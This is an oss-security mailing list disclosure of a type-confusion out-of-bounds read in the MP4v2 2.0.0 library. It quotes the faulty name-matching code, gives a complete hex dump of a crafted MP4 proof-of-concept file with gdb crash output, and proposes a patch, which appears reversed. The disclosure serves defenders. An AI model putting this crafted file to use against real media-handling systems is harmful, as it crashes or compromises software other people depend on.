Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAB6DpjXN5a0iBNVH6ioDd3RC0moCofxN5-QJWxkWZZswUhncbQ@mail.gmail.com>
Date: Wed, 18 Jul 2018 16:30:41 +0800
From: Ruikai Liu <lrk700@...il.com>
To: oss-security@...ts.openwall.com
Subject: Out-of-bounds memory access in MP4v2 2.0.0

Hi,

A out-of-bounds memory access bug is found in MP4v2 2.0.0, a legacy
library dealing with MP4 media file.

========= find atom by type =========

The function `FindAtom` iterates the atom tree and find the target by
comparing its type with the given one:

 316 MP4Atom* MP4Atom::FindChildAtom(const char* name)
 317 {
 318     uint32_t atomIndex = 0;
 319
 320     // get the index if we have one, e.g. moov.trak[2].mdia...
 321     (void)MP4NameFirstIndex(name, &atomIndex);
 322
 323     // need to get to the index'th child atom of the right type
 324     for (uint32_t i = 0; i < m_pChildAtoms.Size(); i++) {
 325         if (MP4NameFirstMatches(m_pChildAtoms[i]->GetType(), name)) {
 ...

However, the comparison could be passed for an crafted atom which
doesn't match in fact:

 29 bool MP4NameFirstMatches(const char* s1, const char* s2)
 30 {
 31     if (s1 == NULL || *s1 == '\0' || s2 == NULL || *s2 == '\0') {
 32         return false;
 33     }
 34
 35     if (*s2 == '*') {
 36         return true;
 37     }
 38
 39     while (*s1 != '\0') {
 40         if (*s2 == '\0' || strchr("[.", *s2)) {
 41             break;
 42         }
 43         if (tolower(*s1) != tolower(*s2)) {
 44             return false;
 45         }
 46         s1++;
 47         s2++;
 48     }
 49     return true;
 50 }

The above while-loop would exit and return true once `s1` ends early.
For example, `MP4NameFirstMatches("abc\x00", "abcd")` returns true,
though an atom with type "abc\x00" should never be returned when
finding atom of type "abcd".

Things are different when creating atoms. The 4-bytes type read from
file is strictly checked to determine which atom constructor to
use(src/mp4atom.cpp):

 954             if( ATOMID(type) == ATOMID("sdtp") )
 955                 return new MP4SdtpAtom(file);

The above difference between creating and finding atoms could result
in type confusion, which leads to out-of-bounds memory access.

========= MP4SdtpAtom =========

`FindAtom` is called to find an atom of type "sdtp" when generating
the track info(src/mp4track.cpp):

 239     // update sdtp log from sdtp atom
 240     MP4SdtpAtom* sdtp = (MP4SdtpAtom*)m_trakAtom.FindAtom(
"trak.mdia.minf.stbl.sdtp" );
 241     if( sdtp ) {
 242         uint8_t* buffer;
 243         uint32_t bufsize;
 244         sdtp->data.GetValue( &buffer, &bufsize );
 245         m_sdtpLog.assign( (char*)buffer, bufsize );
 246         free( buffer );
 247     }

So if a crafted MP4 file contains an atom of type "sdt\x00", then this
atom would be returned and cast to `MP4SdtpAtom`. But its actual class
is not `MP4SdtpAtom` since strict comparison is used when creating the
atom. As a result, `sdtp->data` is actually out of the object.

========= POC =========

We build a MP4 file which contains the necessary fields. The atoms are
arranged dedicatedly so that for 32-bits program, `sdtp->data` would
access the trackID, which is controlled by us and would finally leads
to reading from `0xdeadbeef`:

root@...ian:~# xxd c4.mp4
00000000: 0000 0018 6674 7970 6d70 3432 0000 0000  ....ftypmp42....
00000010: 6d70 3432 6973 6f6d 0000 01c4 6d6f 6f76  mp42isom....moov
00000020: 0000 006c 6d76 6864 0000 0000 3030 3030  ...lmvhd....0000
00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000040: 3030 3030 0000 0000 0000 0000 0000 0000  0000............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0150  ...............P
00000090: 7472 616b 0000 0060 746b 6864 0000 0001  trak...`tkhd....
000000a0: 1234 5678 2345 6789 dead bed7 0000 0000  .4Vx#Eg.........
000000b0: 9876 5432 0000 0000 4141 4141 4141 4141  .vT2....AAAAAAAA
000000c0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000d0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000e0: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
000000f0: 4141 4141 0000 00e8 6d64 6961 0000 0008  AAAA....mdia....
00000100: 0565 7374 0000 0020 6864 6c72 4242 4242  .est... hdlrBBBB
00000110: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000120: 4242 4242 0000 0020 6d64 6864 0000 0000  BBBB... mdhd....
00000130: 3030 3030 4040 4040 5050 5050 1010 1010  0000@@@@PPPP....
00000140: 9090 9090 0000 0098 6d69 6e66 0000 0008  ........minf....
00000150: 0465 7374 0000 0088 7374 626c 0000 0018  .est....stbl....
00000160: 7374 737a 0000 0000 0000 0000 0000 0000  stsz............
00000170: 0000 0000 0000 001c 7374 7363 0000 0000  ........stsc....
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0010 7374 636f 0000 0000 0000 0000  ....stco........
000001a0: 0000 0018 7374 7473 0000 0000 0000 0000  ....stts........
000001b0: 0000 0000 0000 0000 0000 001c 1364 7400  .............dt.
000001c0: 0000 001c 036f 3634 0000 0000 0000 0008  .....o64........
000001d0: 7374 7368 0000 0008 7364 7400            stsh....sdt.

Here's the result of running `mp4info` on it:

root@...ian:~# gdb /usr/bin/mp4info
Reading symbols from /usr/bin/mp4info...(no debugging symbols found)...done.
(gdb) r c4.mp4
Starting program: /usr/bin/mp4info c4.mp4
/usr/bin/mp4info version -r
c4.mp4:
ReadAtom: "c4.mp4": atom type est is suspect
ReadAtom: "c4.mp4": atom type est is suspect
ReadAtom: "c4.mp4": atom type dt is suspect
ReadAtom: "c4.mp4": atom type sdt is suspect
ReadChildAtoms: "c4.mp4": In atom stbl missing child atom stsd
ReadChildAtoms: "c4.mp4": In atom minf missing child atom dinf

Program received signal SIGSEGV, Segmentation fault.
0xf7ece2c6 in ?? () from /usr/lib/i386-linux-gnu/libmp4v2.so.2
(gdb) x/i $eip
=> 0xf7ece2c6:  mov    (%eax),%ecx
(gdb) i r eax
eax            0xdeadbeef       -559038737

The binary we test is the i386 mp4v2 package of Debian:

root@...ian:~# dpkg -s mp4v2-utils
Package: mp4v2-utils
Status: install ok installed
Priority: optional
Section: sound
Installed-Size: 281
Maintainer: Debian Multimedia Maintainers
<pkg-multimedia-maintainers@...ts.alioth.debian.org>
Architecture: i386
Source: mp4v2 (2.0.0~dfsg0-5)
Version: 2.0.0~dfsg0-5+b1
Depends: libmp4v2-2 (= 2.0.0~dfsg0-5+b1), libc6 (>= 2.4), libgcc1 (>=
1:4.2), libstdc++6 (>= 5.2)

========= fix =========

The bug can be fixed by more checks when doing type comparison. For example:

--- src/mp4util.cpp     2018-07-18 15:48:12.766709572 +0800
+++ ../mp4v2-2.0.0-orig/src/mp4util.cpp     2012-05-21 06:11:53.000000000 +0800
@@ -46,7 +46,6 @@
         s1++;
         s2++;
     }
-    if(*s2 != '[' && *s2 != '.' && *s2 != '\0') return false;
     return true;
 }

========= Reference =========

[1] https://code.google.com/archive/p/mp4v2/
[2] http://xhelmboyx.tripod.com/formats/mp4-layout.txt

-- 
Best regards,

Ruikai Liu

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.